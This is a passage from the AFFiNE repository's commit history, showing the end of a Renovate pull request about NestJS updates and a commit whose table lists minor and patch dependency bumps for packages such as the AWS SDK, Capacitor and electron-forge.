-   [#&#8203;14211](https://redirect.github.com/nestjs/nest/pull/14211) chore(deps): update nest monorepo ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14206](https://redirect.github.com/nestjs/nest/pull/14206) chore(deps-dev): bump mongoose from 8.8.1 to 8.8.3 ([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))

##### Committers: 1

-   sapenlei ([@&#8203;sapenlei](https://redirect.github.com/sapenlei))

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

### [`v10.4.10`](https://redirect.github.com/nestjs/nest/compare/v10.4.9...5ebe4b93b3411d072e91d0a6809c72dde606b129)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.9...5ebe4b93b3411d072e91d0a6809c72dde606b129)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-27 09:49:16 +00:00
renovate 693ec6adc4 chore: bump up all non-major dependencies (#8781)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.688.0` -> `3.701.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.688.0/3.701.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.701.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.701.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.688.0/3.701.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.688.0/3.701.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.688.0` -> `3.701.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.688.0/3.701.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.701.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.701.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.688.0/3.701.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.688.0/3.701.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@capacitor/android](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`6.1.2` -> `6.2.0`](https://renovatebot.com/diffs/npm/@capacitor%2fandroid/6.1.2/6.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fandroid/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fandroid/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fandroid/6.1.2/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fandroid/6.1.2/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@capacitor/app](https://redirect.github.com/ionic-team/capacitor-plugins) | [`6.0.1` -> `6.0.2`](https://renovatebot.com/diffs/npm/@capacitor%2fapp/6.0.1/6.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fapp/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fapp/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fapp/6.0.1/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fapp/6.0.1/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@capacitor/browser](https://redirect.github.com/ionic-team/capacitor-plugins) | [`6.0.3` -> `6.0.4`](https://renovatebot.com/diffs/npm/@capacitor%2fbrowser/6.0.3/6.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fbrowser/6.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fbrowser/6.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fbrowser/6.0.3/6.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fbrowser/6.0.3/6.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@capacitor/cli](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`6.1.2` -> `6.2.0`](https://renovatebot.com/diffs/npm/@capacitor%2fcli/6.1.2/6.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fcli/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fcli/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fcli/6.1.2/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fcli/6.1.2/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@capacitor/core](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`6.1.2` -> `6.2.0`](https://renovatebot.com/diffs/npm/@capacitor%2fcore/6.1.2/6.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fcore/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fcore/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fcore/6.1.2/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fcore/6.1.2/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@capacitor/ios](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`6.1.2` -> `6.2.0`](https://renovatebot.com/diffs/npm/@capacitor%2fios/6.1.2/6.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fios/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fios/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fios/6.1.2/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fios/6.1.2/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@capacitor/keyboard](https://redirect.github.com/ionic-team/capacitor-plugins) | [`6.0.2` -> `6.0.3`](https://renovatebot.com/diffs/npm/@capacitor%2fkeyboard/6.0.2/6.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fkeyboard/6.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fkeyboard/6.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fkeyboard/6.0.2/6.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fkeyboard/6.0.2/6.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@clack/core](https://redirect.github.com/natemoo-re/clack/tree/main/packages/core#readme) ([source](https://redirect.github.com/natemoo-re/clack/tree/HEAD/packages/core)) | [`0.3.4` -> `0.3.5`](https://renovatebot.com/diffs/npm/@clack%2fcore/0.3.4/0.3.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@clack%2fcore/0.3.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@clack%2fcore/0.3.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@clack%2fcore/0.3.4/0.3.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@clack%2fcore/0.3.4/0.3.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@clack/prompts](https://redirect.github.com/natemoo-re/clack/tree/main/packages/prompts#readme) ([source](https://redirect.github.com/natemoo-re/clack/tree/HEAD/packages/prompts)) | [`^0.7.0` -> `^0.8.0`](https://renovatebot.com/diffs/npm/@clack%2fprompts/0.7.0/0.8.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@clack%2fprompts/0.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@clack%2fprompts/0.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@clack%2fprompts/0.7.0/0.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@clack%2fprompts/0.7.0/0.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@commitlint/cli](https://commitlint.js.org/) ([source](https://redirect.github.com/conventional-changelog/commitlint/tree/HEAD/@commitlint/cli)) | [`19.5.0` -> `19.6.0`](https://renovatebot.com/diffs/npm/@commitlint%2fcli/19.5.0/19.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@commitlint%2fcli/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@commitlint%2fcli/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@commitlint%2fcli/19.5.0/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@commitlint%2fcli/19.5.0/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@commitlint/config-conventional](https://commitlint.js.org/) ([source](https://redirect.github.com/conventional-changelog/commitlint/tree/HEAD/@commitlint/config-conventional)) | [`19.5.0` -> `19.6.0`](https://renovatebot.com/diffs/npm/@commitlint%2fconfig-conventional/19.5.0/19.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@commitlint%2fconfig-conventional/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@commitlint%2fconfig-conventional/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@commitlint%2fconfig-conventional/19.5.0/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@commitlint%2fconfig-conventional/19.5.0/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@dnd-kit/core](https://redirect.github.com/clauderic/dnd-kit) ([source](https://redirect.github.com/clauderic/dnd-kit/tree/HEAD/packages/core)) | [`6.1.0` -> `6.2.0`](https://renovatebot.com/diffs/npm/@dnd-kit%2fcore/6.1.0/6.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@dnd-kit%2fcore/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@dnd-kit%2fcore/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@dnd-kit%2fcore/6.1.0/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@dnd-kit%2fcore/6.1.0/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@electron-forge/cli](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fcli/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fcli/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fcli/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fcli/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fcli/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/core](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fcore/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fcore/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fcore/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fcore/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fcore/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/core-utils](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fcore-utils/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fcore-utils/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fcore-utils/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fcore-utils/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fcore-utils/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/maker-base](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fmaker-base/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fmaker-base/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fmaker-base/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fmaker-base/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fmaker-base/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | resolutions | minor |
| [@electron-forge/maker-deb](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fmaker-deb/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fmaker-deb/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fmaker-deb/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fmaker-deb/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fmaker-deb/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/maker-dmg](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fmaker-dmg/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fmaker-dmg/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fmaker-dmg/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fmaker-dmg/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fmaker-dmg/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/maker-flatpak](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fmaker-flatpak/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fmaker-flatpak/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fmaker-flatpak/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fmaker-flatpak/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fmaker-flatpak/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/maker-squirrel](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fmaker-squirrel/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fmaker-squirrel/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fmaker-squirrel/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fmaker-squirrel/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fmaker-squirrel/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/maker-zip](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fmaker-zip/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fmaker-zip/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fmaker-zip/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fmaker-zip/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fmaker-zip/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/plugin-auto-unpack-natives](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fplugin-auto-unpack-natives/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fplugin-auto-unpack-natives/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fplugin-auto-unpack-natives/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fplugin-auto-unpack-natives/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fplugin-auto-unpack-natives/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/shared-types](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fshared-types/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fshared-types/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fshared-types/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fshared-types/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fshared-types/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@emotion/cache](https://redirect.github.com/emotion-js/emotion/tree/main#readme) ([source](https://redirect.github.com/emotion-js/emotion)) | [`11.13.1` -> `11.13.5`](https://renovatebot.com/diffs/npm/@emotion%2fcache/11.13.1/11.13.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@emotion%2fcache/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@emotion%2fcache/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@emotion%2fcache/11.13.1/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@emotion%2fcache/11.13.1/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@emotion/react](https://redirect.github.com/emotion-js/emotion/tree/main#readme) ([source](https://redirect.github.com/emotion-js/emotion)) | [`11.13.3` -> `11.13.5`](https://renovatebot.com/diffs/npm/@emotion%2freact/11.13.3/11.13.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@emotion%2freact/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@emotion%2freact/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@emotion%2freact/11.13.3/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@emotion%2freact/11.13.3/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@emotion/react](https://redirect.github.com/emotion-js/emotion/tree/main#readme) ([source](https://redirect.github.com/emotion-js/emotion)) | [`11.13.3` -> `11.13.5`](https://renovatebot.com/diffs/npm/@emotion%2freact/11.13.3/11.13.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@emotion%2freact/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@emotion%2freact/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@emotion%2freact/11.13.3/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@emotion%2freact/11.13.3/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@emotion/styled](https://redirect.github.com/emotion-js/emotion/tree/main#readme) ([source](https://redirect.github.com/emotion-js/emotion)) | [`11.13.0` -> `11.13.5`](https://renovatebot.com/diffs/npm/@emotion%2fstyled/11.13.0/11.13.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@emotion%2fstyled/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@emotion%2fstyled/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@emotion%2fstyled/11.13.0/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@emotion%2fstyled/11.13.0/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@graphql-codegen/typescript](https://redirect.github.com/dotansimha/graphql-code-generator) ([source](https://redirect.github.com/dotansimha/graphql-code-generator/tree/HEAD/packages/plugins/typescript/typescript)) | [`4.1.1` -> `4.1.2`](https://renovatebot.com/diffs/npm/@graphql-codegen%2ftypescript/4.1.1/4.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@graphql-codegen%2ftypescript/4.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@graphql-codegen%2ftypescript/4.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@graphql-codegen%2ftypescript/4.1.1/4.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@graphql-codegen%2ftypescript/4.1.1/4.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@graphql-codegen/typescript-operations](https://redirect.github.com/dotansimha/graphql-code-generator) ([source](https://redirect.github.com/dotansimha/graphql-code-generator/tree/HEAD/packages/plugins/typescript/operations)) | [`4.3.1` -> `4.4.0`](https://renovatebot.com/diffs/npm/@graphql-codegen%2ftypescript-operations/4.3.1/4.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@graphql-codegen%2ftypescript-operations/4.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@graphql-codegen%2ftypescript-operations/4.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@graphql-codegen%2ftypescript-operations/4.3.1/4.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@graphql-codegen%2ftypescript-operations/4.3.1/4.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
